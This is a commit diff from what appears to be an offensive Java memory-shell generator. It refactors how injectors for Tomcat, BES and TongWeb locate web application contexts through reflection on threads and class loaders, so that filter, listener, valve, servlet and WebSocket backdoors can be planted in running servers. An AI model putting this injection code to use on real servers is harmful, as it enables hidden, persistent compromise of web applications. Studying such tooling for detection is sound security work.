Skip to content

Commit 63731a3

Browse files
committed
refactor: simplify fetch context from spring
1 parent 5136ccd commit 63731a3

12 files changed

+126
-37
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -83,6 +83,16 @@ public Set<Object> getContext() throws Exception {
8383
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
8484
contexts.addAll(children.values());
8585
}
86+
} else if (thread.getContextClassLoader() != null) {
87+
String name = thread.getContextClassLoader().getClass().getSimpleName();
88+
if (name.matches(".+WebappClassLoader")) {
89+
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
90+
// need WebResourceRoot not DirContext
91+
if (resources != null && resources.getClass().getName().endsWith("Root")) {
92+
Object context = getFieldValue(resources, "context");
93+
contexts.add(context);
94+
}
95+
}
8696
}
8797
}
8898
return contexts;

generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java

Lines changed: 12 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -64,8 +64,8 @@ private String getContextRoot(Object context) {
6464
return c + "(" + r + ")";
6565
}
6666

67-
public List<Object> getContext() throws Exception {
68-
List<Object> contexts = new ArrayList<Object>();
67+
public Set<Object> getContext() throws Exception {
68+
Set<Object> contexts = new HashSet<Object>();
6969
Set<Thread> threads = Thread.getAllStackTraces().keySet();
7070
for (Thread thread : threads) {
7171
if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -75,6 +75,16 @@ public List<Object> getContext() throws Exception {
7575
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
7676
contexts.addAll(children.values());
7777
}
78+
} else if (thread.getContextClassLoader() != null) {
79+
String name = thread.getContextClassLoader().getClass().getSimpleName();
80+
if (name.matches(".+WebappClassLoader")) {
81+
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
82+
// need WebResourceRoot not DirContext
83+
if (resources != null && resources.getClass().getName().endsWith("Root")) {
84+
Object context = getFieldValue(resources, "context");
85+
contexts.add(context);
86+
}
87+
}
7888
}
7989
}
8090
return contexts;

generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -74,6 +74,16 @@ public Set<Object> getContext() throws Exception {
7474
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
7575
contexts.addAll(children.values());
7676
}
77+
} else if (thread.getContextClassLoader() != null) {
78+
String name = thread.getContextClassLoader().getClass().getSimpleName();
79+
if (name.matches(".+WebappClassLoader")) {
80+
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
81+
// need WebResourceRoot not DirContext
82+
if (resources != null && resources.getClass().getName().endsWith("Root")) {
83+
Object context = getFieldValue(resources, "context");
84+
contexts.add(context);
85+
}
86+
}
7787
}
7888
}
7989
return contexts;

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java

Lines changed: 13 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,9 @@
77
import java.lang.reflect.Constructor;
88
import java.lang.reflect.Field;
99
import java.lang.reflect.Method;
10-
import java.util.*;
10+
import java.util.HashSet;
11+
import java.util.Map;
12+
import java.util.Set;
1113
import java.util.zip.GZIPInputStream;
1214

1315
/**
@@ -82,10 +84,16 @@ public Set<Object> getContext() throws Exception {
8284
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
8385
contexts.addAll(children.values());
8486
}
85-
} else if (thread.getContextClassLoader() != null
86-
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
87-
|| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
88-
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
87+
} else if (thread.getContextClassLoader() != null) {
88+
String name = thread.getContextClassLoader().getClass().getSimpleName();
89+
if (name.matches(".+WebappClassLoader")) {
90+
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
91+
// need WebResourceRoot not DirContext
92+
if (resources != null && resources.getClass().getName().endsWith("Root")) {
93+
Object context = getFieldValue(resources, "context");
94+
contexts.add(context);
95+
}
96+
}
8997
}
9098
}
9199
return contexts;

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java

Lines changed: 10 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -73,10 +73,16 @@ public Set<Object> getContext() throws Exception {
7373
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
7474
contexts.addAll(children.values());
7575
}
76-
} else if (thread.getContextClassLoader() != null
77-
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
78-
|| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
79-
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
76+
} else if (thread.getContextClassLoader() != null) {
77+
String name = thread.getContextClassLoader().getClass().getSimpleName();
78+
if (name.matches(".+WebappClassLoader")) {
79+
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
80+
// need WebResourceRoot not DirContext
81+
if (resources != null && resources.getClass().getName().endsWith("Root")) {
82+
Object context = getFieldValue(resources, "context");
83+
contexts.add(context);
84+
}
85+
}
8086
}
8187
}
8288
return contexts;

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java

Lines changed: 10 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -99,10 +99,16 @@ public Set<Object> getContext() throws Exception {
9999
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
100100
contexts.addAll(children.values());
101101
}
102-
} else if (thread.getContextClassLoader() != null
103-
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
104-
|| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
105-
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
102+
} else if (thread.getContextClassLoader() != null) {
103+
String name = thread.getContextClassLoader().getClass().getSimpleName();
104+
if (name.matches(".+WebappClassLoader")) {
105+
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
106+
// need WebResourceRoot not DirContext
107+
if (resources != null && resources.getClass().getName().endsWith("Root")) {
108+
Object context = getFieldValue(resources, "context");
109+
contexts.add(context);
110+
}
111+
}
106112
}
107113
}
108114
return contexts;

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java

Lines changed: 10 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -80,10 +80,16 @@ public Set<Object> getContext() throws Exception {
8080
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
8181
contexts.addAll(children.values());
8282
}
83-
} else if (thread.getContextClassLoader() != null
84-
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
85-
|| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
86-
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
83+
} else if (thread.getContextClassLoader() != null) {
84+
String name = thread.getContextClassLoader().getClass().getSimpleName();
85+
if (name.matches(".+WebappClassLoader")) {
86+
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
87+
// need WebResourceRoot not DirContext
88+
if (resources != null && resources.getClass().getName().endsWith("Root")) {
89+
Object context = getFieldValue(resources, "context");
90+
contexts.add(context);
91+
}
92+
}
8793
}
8894
}
8995
return contexts;

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java

Lines changed: 10 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -73,10 +73,16 @@ public Set<Object> getContext() throws Exception {
7373
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
7474
contexts.addAll(children.values());
7575
}
76-
} else if (thread.getContextClassLoader() != null
77-
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
78-
|| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
79-
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
76+
} else if (thread.getContextClassLoader() != null) {
77+
String name = thread.getContextClassLoader().getClass().getSimpleName();
78+
if (name.matches(".+WebappClassLoader")) {
79+
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
80+
// need WebResourceRoot not DirContext
81+
if (resources != null && resources.getClass().getName().endsWith("Root")) {
82+
Object context = getFieldValue(resources, "context");
83+
contexts.add(context);
84+
}
85+
}
8086
}
8187
}
8288
return contexts;

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java

Lines changed: 10 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -79,10 +79,16 @@ public Set<Object> getContext() throws Exception {
7979
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
8080
contexts.addAll(children.values());
8181
}
82-
} else if (thread.getContextClassLoader() != null
83-
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
84-
|| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
85-
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
82+
} else if (thread.getContextClassLoader() != null) {
83+
String name = thread.getContextClassLoader().getClass().getSimpleName();
84+
if (name.matches(".+WebappClassLoader")) {
85+
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
86+
// need WebResourceRoot not DirContext
87+
if (resources != null && resources.getClass().getName().endsWith("Root")) {
88+
Object context = getFieldValue(resources, "context");
89+
contexts.add(context);
90+
}
91+
}
8692
}
8793
}
8894
return contexts;

generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java

Lines changed: 11 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -41,8 +41,8 @@ public TongWebFilterInjector() {
4141
}
4242
if (contexts != null) {
4343
for (Object context : contexts) {
44-
msg += ("context: [" + getContextRoot(context) + "] ");
4544
try {
45+
msg += ("context: [" + getContextRoot(context) + "] ");
4646
Object shell = getShell(context);
4747
inject(context, shell);
4848
msg += "[" + getUrlPattern() + "] ready\n";
@@ -91,9 +91,16 @@ public Set<Object> getContext() throws Exception {
9191
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
9292
contexts.addAll(children.values());
9393
}
94-
} else if (thread.getContextClassLoader() != null
95-
&& thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) {
96-
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
94+
} else if (thread.getContextClassLoader() != null) {
95+
String name = thread.getContextClassLoader().getClass().getSimpleName();
96+
if (name.matches(".+WebappClassLoader")) {
97+
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
98+
// need WebResourceRoot not DirContext
99+
if (resources != null && resources.getClass().getName().endsWith("Root")) {
100+
Object context = getFieldValue(resources, "context");
101+
contexts.add(context);
102+
}
103+
}
97104
}
98105
}catch (Exception ignored) {
99106

0 commit comments

Comments
 (0)